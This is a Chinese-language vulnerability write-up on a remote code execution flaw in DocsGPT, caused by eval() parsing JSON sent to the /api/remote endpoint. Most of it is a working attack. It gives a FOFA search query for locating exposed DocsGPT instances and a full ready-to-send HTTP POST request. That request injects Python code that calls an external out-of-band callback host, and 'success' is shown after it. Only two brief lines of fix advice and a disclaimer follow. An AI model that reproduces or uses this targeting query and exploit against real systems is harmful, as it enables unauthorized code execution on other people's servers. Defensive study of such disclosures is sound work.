前言

    DocsGPT 中存在导致远程代码执行 (RCE) 的漏洞。由于使用 eval() 对 JSON 数据进行解析不当,未经授权的攻击者可发送任意 Python 代码以通过 /api/remote 端点执行。

漏洞等级

高危

漏洞影响

0.8.1<=docsgpt<0.12.0

漏洞复现

FOFA:

body="Welcome to DocsGPT"

EXP:

POST /api/remote HTTP/2Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflate, brUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Priority: u=0, iTe: trailersContent-Type: application/x-www-form-urlencodedContent-Length: 252
user=1&source=reddit&name=other&data={"source":"reddit","client_id":"1111","client_secret":1111,"user_agent":"111","search_queries":[""],"number_posts":10,"rce\\\\":__import__('requests').get('http://dmaxnqikgwvdddcntkfuddpr21k3qa5pw.oast.fun/')}#":11}

success

修复建议

1、关闭互联网暴露面或接口设置访问权限
2、升级至安全版本

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。